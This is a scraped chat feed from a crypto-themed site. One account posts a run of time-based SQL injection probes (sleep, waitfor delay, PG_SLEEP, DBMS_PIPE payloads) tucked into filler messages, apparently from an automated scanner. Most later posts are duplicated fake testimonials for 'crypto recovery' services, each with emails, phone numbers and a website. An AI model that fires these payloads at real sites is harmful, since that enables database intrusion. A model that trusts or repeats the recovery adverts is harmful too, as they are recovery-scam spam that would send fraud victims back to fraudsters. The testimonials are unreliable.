    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon